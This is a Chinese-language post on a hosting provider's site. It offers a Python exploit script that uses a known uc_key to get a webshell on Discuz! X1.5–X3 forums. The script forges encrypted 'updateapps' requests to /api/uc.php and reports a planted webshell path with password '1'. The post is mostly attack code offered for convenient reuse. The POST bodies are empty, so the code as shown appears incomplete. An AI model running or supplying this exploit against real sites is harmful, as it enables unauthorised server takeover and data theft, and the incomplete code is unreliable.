欢迎来到云服务器

网络技术

Discuz X1.5 X2.5 X3 uc_key getshell exp

uc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetshell只能获取UCenter Client的webshell,即Discuiz!论坛的webshell。如果一个服务器上只有UCenter Server是不能通过uc_key来获取该服务器上的webshell的(不过可以通过uc_key来将服务器上的数据并重置用户口令,后面讲)。

90分享的php版的exp代码,但uc_key和url是嵌入在代码中的,因此导致使用不方便。所以我将代码改成python版的,以后使用就方便了。

使用方法:
Discuz X1.5 X2.5 X3 uc_key getshell exp
 

import hashlib  

import time  

import math  

import base64  

import urllib  

import urllib2  

import sys  

def microtime(get_as_float = False) :  

    if get_as_float:  

        return time.time()  

    else:  

        return '%.8f %d' % math.modf(time.time())  

 def get_authcode(string, key = ''):  

    ckey_length = 4 

    key = hashlib.md5(key).hexdigest()  

    keya = hashlib.md5(key[0:16]).hexdigest()  

    keyb = hashlib.md5(key[16:32]).hexdigest()  

    keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]  

    cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()  

    key_length = len(cryptkey)  

    string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string  

    string_length = len(string)  

    result = '' 

    box = range(0, 256)  

    rndkey = dict()  

    for i in range(0,256):  

        rndkey[i] = ord(cryptkey[i % key_length])  

    j=0 

    for i in range(0,256):  

        j = (j + box[i] + rndkey[i]) % 256 

        tmp = box[i]  

        box[i] = box[j]  

        box[j] = tmp  

    a=0 

    j=0 

    for i in range(0,string_length):  

        a = (a + 1) % 256 

        j = (j + box[a]) % 256 

        tmp = box[a]  

        box[a] = box[j]  

        box[j] = tmp  

        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))  

    return keyc + base64.b64encode(result).replace('=', '')  

 def get_shell(url,key,host):  

    '' 

    headers={'Accept-Language':'zh-cn',  

    'Content-Type':'application/x-www-form-urlencoded',  

    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',  

    'Referer':url  

    }  

    tm = time.time()+10*3600 

    tm="time=%d&action=updateapps" %tm  

    code = urllib.quote(get_authcode(tm,key))  

    url=url+"?code="+code  

    data1='' 

    try:  

        req=urllib2.Request(url,data=data1,headers=headers)  

        ret=urllib2.urlopen(req)  

    except:  

        return "访问出错" 

    data2='' 

    try:  

        req=urllib2.Request(url,data=data2,headers=headers)  

        ret=urllib2.urlopen(req)  

    except:  

        return "error" 

    return "webshell:"+host+"/config/config_ucenter.php,password:1" 

if __name__ == '__main__':  

    host=sys.argv[1]  

    key=sys.argv[2]  

    url=host+"/api/uc.php" 

    print get_shell(url,key,host)

腾讯云代理

Copyright © 2003-2021 MFISP.COM. 国外vps服务器租用 梦飞云服务器租用 版权所有 粤ICP备11019662号